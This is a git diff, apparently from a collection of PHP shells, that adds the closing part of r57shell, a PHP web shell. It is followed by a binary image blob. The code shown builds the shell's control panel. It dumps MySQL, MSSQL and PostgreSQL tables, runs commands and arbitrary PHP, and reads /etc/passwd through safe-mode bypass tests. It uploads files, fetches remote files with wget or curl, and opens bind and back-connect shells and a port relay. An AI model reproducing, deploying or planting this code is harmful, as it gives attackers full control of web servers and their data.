".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n"; + } + $sql2 .= "\r\n# ---------------------------------"; + } + if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } + else { echo $sql1.$sql2; } + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'PostgreSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } + $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; + $db = @pg_connect($str); + if($db) + { + $sql1 = "# PostgreSQL dump created by r57shell\r\n"; + $sql1 .= $sqh; + $sql2 = ''; + + $res = @pg_query($db,"SELECT * FROM ".$_POST['mysql_tbl'].""); + if (@pg_num_rows($res) > 0) { + while (($row = @pg_fetch_assoc($res))) { + $keys = @implode(", ", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = @implode("', '", $values); + $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n"; + } + $sql2 .= "\r\n# ---------------------------------"; + } + if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } + else { echo $sql1.$sql2; } + @pg_close($db); + } + else echo "[-] ERROR! Can't connect to PostgreSQL server"; + break; + } + } + else if(!empty($_POST['dif'])&&!$fp) { echo "[-] ERROR! Can't write in dump file"; } + } +echo "</textarea></div>"; +echo "</b>"; +echo "</td></tr></table>"; +echo "<table width=100% cellpadding=0 cellspacing=0>"; +if(!$safe_mode){ +echo $fs.$table_up1.$lang[$language.'_text2'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,'')); +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.$table_end1.$fe; +} +else{ +echo $fs.$table_up1.$lang[$language.'_text28'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])); +echo $te.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text42'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); +echo $te.$table_end1.$fe; +if($safe_mode){ +echo $fs.$table_up1.$lang[$language.'_text57'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); +echo $te.$table_end1.$fe; +} +if($safe_mode && $unix){ +echo $fs.$table_up1.$lang[$language.'_text67'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.$table_end1.$fe; +} +if(!$safe_mode){ +foreach ($aliases as $alias_name=>$alias_cmd) + { + $aliases2 .= "<option>$alias_name</option>"; + } +echo $fs.$table_up1.$lang[$language.'_text7'].$table_up2.$ts; +echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text54'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); +echo $te.$table_end1.$fe; +echo $fs.$table_up1.$lang[$language.'_text76'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); +echo $te.$table_end1.$fe; +echo $fs.$table_up1.$lang[$language.'_text32'].$table_up2.$font; +echo "<div align=center><textarea name=php_eval cols=100 rows=3>"; +echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");")); +echo "</textarea>"; +echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); +echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); +echo "</font>"; +echo $table_end1.$fe; +if($safe_mode&&$curl_on) +{ +echo $fs.$table_up1.$lang[$language.'_text33'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.$table_end1.$fe; +} +if($safe_mode) +{ +echo $fs.$table_up1.$lang[$language.'_text34'].$table_up2.$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.$table_end1.$fe; +} +if($safe_mode&&$mysql_on) +{ +echo $fs.$table_up1.$lang[$language.'_text35'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306")))); +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.$table_end1.$fe; +} +if($safe_mode&&$mssql_on) +{ +echo $fs.$table_up1.$lang[$language.'_text85'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.$table_end1.$fe; +} +if(@ini_get('file_uploads')){ +echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; +echo $table_up1.$lang[$language.'_text5'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,'')); +echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.$table_end1.$fe; +} +if(!$safe_mode&&!$windows){ +echo $fs.$table_up1.$lang[$language.'_text15'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://')); +echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.$table_end1.$fe; +} +if($mysql_on||$mssql_on||$pg_on||$ora_on) +{ +echo $table_up1.$lang[$language.'_text82'].$table_up2.$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text77']."</div></b></font>"; +echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>","<select name=db><option>MySQL</option><option>MSSQL</option><option>PostgreSQL</option></select>"); +echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"<b>".$lang[$language.'_text78'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_show').in('checkbox','st id=st',0,'1')); +echo sr(45,"<b>".$lang[$language.'_text79'].$arrow."</b>",in('checkbox','sc id=sc',0,'1')); +echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text40']."</div></b></font>"; +echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>","<select name=db><option>MySQL</option><option>MSSQL</option><option>PostgreSQL</option></select>"); +echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(45,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); +echo sr(45,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1')); +echo sr(45,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','dif_name',15,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); +echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt9'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text83']."</div></b></font>"; +echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>","<select name=db><option>MySQL</option><option>MSSQL</option><option>PostgreSQL</option><option>Oracle</option></select>"); +echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(45,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); +echo $te."<div align=center><textarea cols=35 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></table>"; +} +if(!$safe_mode&&!$windows){ +echo $table_up1.$lang[$language.'_text81'].$table_up2.$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text9']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'r57')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text12']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); +echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text22']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'jade.va.us.dal.net')); +echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667')); +echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."</td>".$fe."</tr></table>"; +} +echo $table_up3."<div align=center><font face=Verdana size=-2><b>[ r57shell - Modification By iFX | version ".$version." ]</b></font></div></td></tr></table>".$f; +?> \ No newline at end of file diff --git a/php/PHPshell/【r57_karta】/r57_kartal.jpg b/php/PHPshell/【r57_karta】/r57_kartal.jpg new file mode 100644 index 0000000000000000000000000000000000000000..0a9464032777db0f24670e167fbaea7d62e3ff3a GIT binary patch literal 83250 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 